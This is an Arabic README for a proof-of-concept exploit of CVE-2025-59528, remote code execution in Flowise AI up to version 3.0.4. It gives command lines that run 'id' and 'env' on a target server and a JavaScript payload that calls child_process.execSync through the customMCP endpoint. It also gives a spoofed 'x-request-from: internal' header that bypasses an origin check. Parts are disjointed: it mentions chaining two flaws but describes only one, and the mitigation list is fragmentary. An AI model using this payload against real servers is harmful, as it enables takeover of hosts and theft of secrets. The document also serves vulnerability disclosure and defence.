
استغلال Python PoC لـ CVE-2025-59528، يحقق RCE موثق على Flowise AI <= 3.0.4 عبر نقطة نهاية customMCP و Node.js child_process.execSync.
معرّف CVE: CVE-2025-59528
البرنامج المتأثر: Flowise AI
الإصدارات المصابة: <= 3.0.4
الإصدار المُصلَّح: 3.0.5 وما بعده
الخطورة: حرجة
المؤلف: arensballiu
التاريخ: 2025
تسمح إصدارات Flowise AI حتى الإصدار 3.0.4 ضمناً للمستخدم المُصادَق عليه بتحقيق تنفيذ تعليمات برمجية عن بُعد (RCE) على الخادم المضيف عبر إرسال حمولة JavaScript مُصمَّمة إلى نقطة النهاية /api/v1/node-load-method/customMCP.
تقبل طريقة التحميل الخاصة بعقدة customMCP مدخلات يتحكم بها المستخدم يتم تقييمها على جانب الخادم كـ JavaScript، دون تعقيم أو عزل كافٍ. من خلال حقن حمولة تستغل child_process.execSync في Node.js، يمكن للمهاجم تشغيل أوامر نظام تشغيل عشوائية بصلاحيات عملية خادم Flowise.
تتطلب نقطة النهاية أيضاً وجود الترويسة x-request-from: internal.
| نقطة النهاية | الطريقة | المصادقة مطلوبة | الغرض |
|---|---|---|---|
/api/v1/auth/login | POST | لا | المصادقة والحصول على الجلسة |
/api/v1/node-load-method/customMCP | POST | نعم (ملف تعريف ارتباط الجلسة) | نقطة نهاية طريقة تحميل العقدة المصابة |
الملف: CVE-2025-59528_POC.py
requestspip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
| العلم | الصيغة الطويلة | مطلوب | الوصف |
|---|---|---|---|
-e | --email | نعم | عنوان البريد الإلكتروني للمستخدم المُصادَق عليه |
-i | --url | نعم | عنوان URL الأساسي لنسخة Flowise |
-p | --password | نعم | كلمة مرور المستخدم المُصادَق عليه |
-c | --cmd | نعم | أمر نظام التشغيل المراد تنفيذه على الخادم |
التحقق من تنفيذ التعليمات البرمجية:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
استرجاع متغيرات بيئة الخادم:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Logged in
[+] Exploit sent
[+] Status: 200
يحقن الاستغلال تعبير JavaScript التالي في الحقل mcpServerConfig:
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') — يحمّل وحدة تنفيذ العمليات المدمجة في Node.js.execSync('<command>') — يشغّل بشكل متزامن أمر نظام التشغيل الذي يوفره المهاجم.تُضاف أيضاً الترويسة x-request-from: internal إلى الطلب لتجاوز فحص الأصل الداخلي الذي كان سيمنع الاستدعاء بخلاف ذلك.
تمرّر نقطة النهاية customMCP المدخلات التي يوفرها المستخدم مباشرةً إلى سياق تقييم JavaScript على الخادم دون تعقيم أو عزل. وبالاقتران مع الوصول غير المقيّد إلى وحدات Node.js الأساسية (تحديداً child_process) عبر process.mainModule.require، فإن هذا يخلق ناقل RCE سهل الاستغلال. لا يوفر فحص الترويسة x-request-from أي حد أمني ذي معنى لأنه لا يتم التحقق منه مقابل أي مصدر موثوق.
يمكن تسلسل هاتين الثغرتين لمسار هجوم RCE غير مُصادَق عليه ضد نسخ Flowise التي تعمل بإصدارات <= 3.0.4:
child_process، fs، إلخ) عبر صندوق رمل مناسب (مثل vm2، أو سياقات معزولة، أو إزالة الوصول إلى process.mainModule).x-request-from ووثّقها عبر آلية على جانب الخادم بدلاً من فحص سلسلة نصية بسيط.يُقدَّم إثبات المفهوم هذا لأغراض تعليمية وبحث أمني مُصرَّح به فقط. يُعدّ استخدام هذا السكربت ضد أنظمة دون إذن كتابي صريح غير قانوني وغير أخلاقي. لا يتحمل المؤلف والمساهمون أي مسؤولية عن سوء الاستخدام.